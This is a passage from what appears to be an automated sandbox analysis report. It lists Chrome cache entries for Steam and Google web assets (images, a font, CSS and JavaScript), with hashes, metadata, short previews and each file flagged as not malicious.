MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
URL:	https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (724)
Category:	downloaded
Size (bytes):	437104
Entropy (8bit):	5.671341683055779
Encrypted:	false
SSDEEP:	6144:ytxIUYTteVvs0E8gSdoxS4MLYw1tZnAzsz1I9VBojCdzr:ybYTZMgGopkAzsz1ciEr
MD5:	24B31330C65915C43B3A225AD19B7A25
SHA1:	8D5631C39D138B5091CC3D0C46754C553BA826CA
SHA-256:	F3114E8534311E3F92B1582EAE1A3D9E526072BC449775A66158A04451A440AE
SHA-512:	52376FE238BC5FB740F5628F1BCEA576F896F9EA1F45C7382EFBA822BA2A0621641F5CC2A3C7D505B24EE8A2ED6C36957F253405774E54597AC7099BAAF0D67D
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var z=function(){return[function(v,p,K,u,W,n){if(!((v>>2&(n=[6,"Unknown format requested type for int64",9],n[0])\|\|!U[22](11,this.U(),p)&&this.dispatchEvent("enter")&&this.isEnabled()&&R[23](n[2],this,2)&&R[3](n[0],2,!0,this),v-1)<20&&(v>>1&7)>=4&&(u=new vf,W=R[41](1,p,u,kV,K==p?K:P[8](37,K),5)),v<<1&11))throw Error(n[1]);return W},function(v,p,K,u,W){return((W=[17,7,46],v)<<2&W[1]\|\|(p=function(n){return K.call(p.src,p.listener,n)},K=UJ,u=p),(v-1\|12)<v&&(v-9\|59)>=v)&&(u=M[W[2]](15,p)&&!M[W[2]](13,."iPod")&&!M[W[2]](W[0],K)),((v\|8)&W[1])==1&&(u=p.Y?p.Y:p.I?"application/x-protobuffer":""),u},function(v,p,K,u,W){retu

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1602
Entropy (8bit):	5.090937448322199
Encrypted:	false
SSDEEP:	48:2phdSDVwSyV9jC61sNcNLpfL4K1ysXFQTuQY1oFsES1tcX35EENXmlq+rULXBXeO:VD5O1C8t7LPD7QY11tc5XYULxH
MD5:	5A05314A52936F75B57ECB183893C5F3
SHA1:	D0F9EA81C17DD7733D976191913D8B09567B5D5F
SHA-256:	748685B44B44E8D502326B55F4CF49FB86866F37F244935B457DC0C85E1E4DD2
SHA-512:	63B039EFF5B1DD111B71A5217F40E7E39B3DE98A99C8B31756C67134BAFF9CF7B6A4D088B7FF950C12E62BB8F441CDDB6E4567CF8148847C9CD86930AEE22A39
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&l=english
Preview:	..document.addEventListener( "DOMContentLoaded", InitRefresh );....function InitRefresh()..{...if ( typeof window.g_wapit === 'string' \|\| typeof window.g_wapitExpiry === 'number' )...{....try....{.....var expiry;.......if ( typeof window.g_wapit === 'string' ).....{......var body = JSON.parse( atob( window.g_wapit.split( '.' )[1] ) );......if ( typeof body.exp === 'number' )......{.......expiry = body.exp;......}.....}.....else.....{......expiry = window.g_wapitExpiry;.....}..........var offset = Math.floor( Math.random() * 600 ) + 1800;.....var timeout = ( expiry - offset ) * 1000 - Date.now();........window.setTimeout( AutoRefresh, timeout );....}....catch ( err ) {}...}..}....function AutoRefresh()..{....if ( window.g_wapitRefreshEnabled )....Refresh();..}....function Refresh( onRefreshed )..{......$J.ajax( {....type: 'POST',....url: 'https://login.steampowered.com/jwt/ajaxrefresh',....data: { redir: window.location.href },....crossDomain: true,....xhrFields: { withCredentials: true

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 439 x 170, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	22513
Entropy (8bit):	7.972372850976774
Encrypted:	false
SSDEEP:	384:mXE05G0jCZQZ1CDMpbltRByo7gVKjb2gWH4vvrSvrrBcyWh0VrS9Hzo05HOxLECN:c35G7ZGCDIzBH3b2gWNTvlX4uDpD
MD5:	4DDDFE80CE9184F5FCB77A8735791E69
SHA1:	475C4B22242AD7DCABF0E7F43E09B066D75B13AF
SHA-256:	87682460EF234C5CDD98375EEA1F03CC165947B3AEA57DEEC37D552B32BA29EC
SHA-512:	AE6C464BDA07B5FBB341A8ADBF4353ADBA197186BECDCA15AE4821592B0F35176B4869B38C43084BEE17547374A1834929FF760D8173721228DF7027DA39A464
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/account/redeem_wallet_complete_popup.png
Preview:	.PNG........IHDR.....................pHYs...t...t..f.x...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	33710
Entropy (8bit):	5.264310636694312
Encrypted:	false
SSDEEP:	768:1rv31+3R8zIF/3doix2R1pW81qWZRhcJTJZJD:FpP1vZRU
MD5:	2403599F0862AAFC52987F7464DB71EC
SHA1:	65D55AEF66A47E8A34CE278AE326C06EB333BA36
SHA-256:	0B191515A4301F229DE9EE09990FF1CCF4ED8F44E79A19CBCE79AB067FE0C113
SHA-512:	F23C94EF28064A3C592D5D45FE87E1A748BB247769BA81B78898613A88E9180B64C5D90453717D45995E51574E6FB8B231B3D3F225720D7DAAB37E0EFFF33EAE
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/css/buttons.css?v=JANZnwhiqvxS
Preview:	.btn_green_white_innerfade {...border-radius: 2px;...border: none;...padding: 1px;...display: inline-block;...cursor: pointer;...text-decoration: none !important;...color: #D2E885 !important;........background: #a4d007;.....background: -webkit-linear-gradient( top, #a4d007 5%, #536904 95%);..background: linear-gradient( to bottom, #a4d007 5%, #536904 95%);..}......btn_green_white_innerfade > span {....border-radius: 2px;....display: block;...........background: #799905;.....background: -webkit-linear-gradient( top, #799905 5%, #536904 95%);..background: linear-gradient( to bottom, #799905 5%, #536904 95%);....}.....btn_green_white_innerfade:not(.btn_disabled):not(:disabled):not(.btn_active):not(.active):hover {...text-decoration: none !important;...color: #fff !important;........background: #b6d908;.....background: -webkit-linear-gradient( top, #b6d908 5%, #80a006 95%);..background: linear-gradient( to bottom, #b6d908 5%, #80a006 95%);..}......btn_green_white_innerfade:not(.btn_disable

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	91429
Entropy (8bit):	5.314088694667635
Encrypted:	false
SSDEEP:	1536:imsvf3ZcGj0CqB26gdz5a70sfFo1KnVn6z4EBYfhlOPBr90w6ssOZrQSysmHN4j4:K046g+Dn6z4EBBlWN40
MD5:	7F3E92BF5B5B4B76446E6147D86C21AE
SHA1:	277260B15BB51C0E19B4B3D27ACC4E4E5F172069
SHA-256:	C19260B0FC51D2BC52D42E72DA83699701B5C5040460AA6BC13F4F0E6F5F9FF3
SHA-512:	47E9F75803C0D8B1EC169FC501A1768B4F11F38C54C435B1ACD2CF9BFA4707C78EF56B3868D50AA36D6975760A57843DD306829D92A04B36BB1AA94B506AEF79
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/dynamicstore.js?v=fz6Sv1tbS3ZE&l=english
Preview:	..function GetElemSNR( $Elem )..{...var snr = $Elem.data( 'snr' );...if ( typeof snr != 'undefined' )...{....return snr;...}.....// look for links with snr parameter...var links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );...snr = null;...for ( var i = 0; i < links.length; ++i )...{....var link = links[i];....var navinfo = link.href.match( /[\?&]snr=([a-zA-Z0-9\-\_ ]+)/ );....if ( navinfo )....{.....snr = navinfo[1];.....break;....}...}.....$Elem.data( 'snr', snr );...return snr;..}....// given an array of impressions as strings, this will handle joining them all together into a singular string, but enforcing that it doesn't..// go above the cookie size limit which can otherwise cause users to become stuck since the page requests will start failing..function JoinImpressionsUpToLimit( rgImpressions )..{...//cookies generally can go up to 4k bytes, but we can have problems when we start getting that close, so cut it off earlier...var nRemainingLen = 3200;...var result = '';...for ( var

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2665), with CRLF line terminators
Category:	downloaded
Size (bytes):	153622
Entropy (8bit):	5.336731737520302
Encrypted:	false
SSDEEP:	1536:D1l9AT60MhmzFh0x25lqnasPdVcTziMayN3qxViIomEFANufsf1e66kQuOEmTMzB:Xg0x25wa6dVc39qVijoe6rUEJB
MD5:	439B6DF9DF2BD182EE3354CEB7728F2A
SHA1:	D54D45014D7282CB0E45A69C0C15430444095F86
SHA-256:	66E344142D1A04F10A33E847A59939A9E71D558897ECAFAB050D5CAF72BD1CB2
SHA-512:	094FF0791D454EEEA65AC399906EBBE5D44A8D1B8D94501BAA0D55DC662841E9AF340E1B852031982E0D4634068B3E4261C617108B142B91250C5C010EE411EA
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 499 x 167, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	6017
Entropy (8bit):	7.827831655449772
Encrypted:	false
SSDEEP:	96:r6kn4M686QACM2VpbWCt29skvpecOqyEJoAjiySiuKlB/4Tr0WKCESZLI0d9:eknGj/27bWY29skvpeBREaAnSjKlOTp1
MD5:	FAA7A4F0C8811CFC43E97FD8BA8D5C22
SHA1:	B48ADD097646EE1EB2DF9159246E0C2F724E3FB4
SHA-256:	2968A1D8353A874E073E6199640DA090596BB22EC0076B5ACC80BCD16587BD38
SHA-512:	1C58819DA9ADC57D63B992D04BDAC33AA89D486E29A2891E01AB97A0958242EFA986C1A1CD571CCF17F9BD10D509AFD613A4F0DFB8E5D5FFEFA8B6BAA7F4BD2F
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/appleappstore/apple_store_english.png
Preview:	.PNG........IHDR.............2.E,....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmpMM:OriginalDocumentID="uuid:5D20892493BFDB11914A8590D31508C8" xmpMM:DocumentID="xmp.did:B8E4AEAC297F11EDA9BDD86BC83012D9" xmpMM:InstanceID="xmp.iid:B8E4AEAB297F11EDA9BDD86BC83012D9" xmp:CreatorTool="Adobe Illustrator CC 2017 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:84eaae3d-1e23-4d04-96cf-299e1a6b201a" stRef:documentID="xmp.did:84eaae3d-1e23-4d04-96cf-299e1a6b201a"/> <dc:title> <rdf:Alt> <rdf:li xml:lang="x-default">Prin

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansMedium4.015;Plau;MotivaS
Category:	downloaded
Size (bytes):	124048
Entropy (8bit):	6.074024700633004
Encrypted:	false
SSDEEP:	1536:v4Kkq/szjKJRIDCnR96guXgECINo28BZZDhpkemOXaxq4jKea8GyFLaE0Af0ffL9:vf/fxn7ElXxE0wS0fj9
MD5:	2D64CAA5ECBF5E42CBB766CA4D85E90E
SHA1:	147420ABCEB4A7FD7E486DDDCFE68CDA7EBB3A18
SHA-256:	045B433F94502CFA873A39E72D616C73EC1B4C567B7EE0F847F442651683791F
SHA-512:	C96556EC57DAC504919E806C7DF536C4F86892B8525739289B2F2DBBF475DE883A4824069DBDD4BB1770DD484F321563A00892E6C79D48818A4B95406BF1AF96
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Medium.ttf?v=4.015
Preview:	........... DSIG...........GDEF...4...,...@GPOS......l..u.GSUB.d....w.....OS/2u..........`cmap.d..........cvt G..t........fpgm.6!........gasp............glyf5.}2........head...W.......6hhea...v.......$hmtx._X.........loca.:yV........maxp.......l... names...........post.......<....prep..........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 12, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	161
Entropy (8bit):	5.889732387119839
Encrypted:	false
SSDEEP:	3:yionv//thPlmztjllRl/HRthwkBDsTBZtmmAQGzlkWX0N/khY1RtjhCq/4cL+/XN:6v/lhPoJnDsp1AQIlBE91RtjhCE4cK/9
MD5:	F2DAE37ACAC6B9D5A91CAF1885C2F7D0
SHA1:	5F80FDDE9F702A1D7589BC5FAF88C14066E26C32
SHA-256:	93B1FBE4F6245B62BFD4C8C3347ABE0FE67ED711315E59BFADAEBC9873D8D9B5
SHA-512:	8D7FF7133AB97D81985C50FA8FD93916B42B1CE812AF21BC732DCAE45D59B9154FCC965857235D925C471DB191DFB79C0753C70C7A4D5B0285B908E396216805
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/popups/btn_arrow_down_padded.png
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...CIDATx.b...?.....6....@.........6.h..1..A....@....fH.^.g.HO.......#.7.d.].....IEND.B`.

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 25 x 25, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1816
Entropy (8bit):	7.335413459481553
Encrypted:	false
SSDEEP:	48:mwqQNn2xkJ3n7OO8oPTFC+6vUycoKGCAHcDsr9CQ:6Y2w72o7Fh68yLdHcYr9CQ
MD5:	C8A9A5322C7A32D42405AEC4ECC91E8C
SHA1:	A6A04E08067EBBC6E9D70361FAD164CAB634BD9D
SHA-256:	02E650004D02B883D1F77E3C9AB18F556D470CC4F41500917D0CDA68EC62D197
SHA-512:	F057B313CE4AEED427AC04B1278A8FFE105843CD0998CAC5E01DDBCD53CAFFCB5584239646A73C40281D671D22C2E163E0FC3F1A589FFF9E9479CAC206EB241B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............c....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:D62C327C9D6211E6BC85ED92E7B3F4DB" xmpMM:DocumentID="xmp.did:D62C327D9D6211E6BC85ED92E7B3F4DB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D62C327A9D6211E6BC85ED92E7B3F4DB" stRef:documentID="xmp.did:D62C327B9D6211E6BC85ED92E7B3F4DB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>`......IDATx.U.k.W.?....fg?21..hT.......H-..VQ.-.......`...(>H...R,B.7...t.iM.i01...nv....;....1...M....a...=...

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1155 x 1155, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	7649
Entropy (8bit):	5.1188675920344835
Encrypted:	false
SSDEEP:	48:r2trufFoK7VnCT4Xp2xYQmVJaBEW0tHjpneiH+TpW:KtrIoK7Voa6YQm7aBEW0ttnegQpW
MD5:	E2D6D224BAA50A3E340E76974D553889
SHA1:	43DCACAABC92D06262532154EE9DE89573DFCCD9
SHA-256:	804D4FF7A9CE2BAACCD7B4CF6911E8EB58ACFB49A0843958E1BE1CCB2E2EE1C9
SHA-512:	AA6D51B6C892EDEA4055757AE6BF91A2D4C402D07B542526CEE055F251581E7FFF7BB315A2F1FBDA0AB4CDF3206668993C620E6FA378C85A283EB4DA355EB1E6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............eih.....bKGD..............IDATx....q..@Q..{..!L.3.(.E..fi......s. .<R}............^....?......)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.......^o.uz.....n..=G..(.m..y.............@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M..........3......e...8H........<..N......:......._A?..~..\|.....*8.._...9......._A?......jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.....8.....:..w..>..w.m]6..y.

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (24681), with CRLF line terminators
Category:	dropped
Size (bytes):	60737
Entropy (8bit):	5.235933420747895
Encrypted:	false
SSDEEP:	1536:AErpvhd5dY0KEApMyw+l/oOJz9WwymlgaUYCOlb+OeaLJIt:AEd5n6EhZSyuLJIt
MD5:	809BF9DBC74B5959B14AD616EA69F8DE
SHA1:	CBD06F379BD0DFEA3C517081968AAD2A1C7657BC
SHA-256:	8E8359E3EEE5AC413165265D5D6B6F9C26B75D24E266CFB5EA3C25C3DAB25635
SHA-512:	E061F628A53D65D034AA6E8C311A30A35A30237295D1FCD0F01FEF8F9401390FBA4A037C1992DAAC13F1EC031B0B4A6ED56BB4F871A59854FF8769F73A4E26C2
Malicious:	false
Reputation:	low
Preview:	"use strict";....function CLoginPromptManager( strBaseURL, rgOptions )..{...// normalize with trailing slash...this.m_strBaseURL = strBaseURL + ( strBaseURL.substr(-1) == '/' ? '' : '/' ) + ( this.m_bIsMobile ? 'mobilelogin' : 'login' ) + '/';...this.m_strSiteBaseURL = strBaseURL; // Actual base url, not the login base url above......// read options...rgOptions = rgOptions \|\| {};...this.m_bIsMobile = rgOptions.bIsMobile \|\| false;...this.m_strMobileClientType = rgOptions.strMobileClientType \|\| '';...this.m_strMobileClientVersion = rgOptions.strMobileClientVersion \|\| '';...this.m_bIsMobileSteamClient = ( this.m_strMobileClientType ? true : false );...this.m_bMobileClientSupportsPostMessage = rgOptions.bMobileClientSupportsPostMessage \|\| false;.....this.m_$LogonForm = $JFromIDOrElement( rgOptions.elLogonForm \|\| document.forms['logon'] );.....this.m_fnOnFailure = rgOptions.fnOnFailure \|\| null;...this.m_fnOnSuccess = rgOptions.fnOnSuccess \|\| null;.....this.m_strRedirectURL = rgOptions.strRe

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	161
Entropy (8bit):	5.889732387119839
Encrypted:	false
SSDEEP:	3:yionv//thPlmztjllRl/HRthwkBDsTBZtmmAQGzlkWX0N/khY1RtjhCq/4cL+/XN:6v/lhPoJnDsp1AQIlBE91RtjhCE4cK/9
MD5:	F2DAE37ACAC6B9D5A91CAF1885C2F7D0
SHA1:	5F80FDDE9F702A1D7589BC5FAF88C14066E26C32
SHA-256:	93B1FBE4F6245B62BFD4C8C3347ABE0FE67ED711315E59BFADAEBC9873D8D9B5
SHA-512:	8D7FF7133AB97D81985C50FA8FD93916B42B1CE812AF21BC732DCAE45D59B9154FCC965857235D925C471DB191DFB79C0753C70C7A4D5B0285B908E396216805
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...CIDATx.b...?.....6....@.........6.h..1..A....@....fH.^.g.HO.......#.7.d.].....IEND.B`.

Chrome Cache Entry: 348

Download File

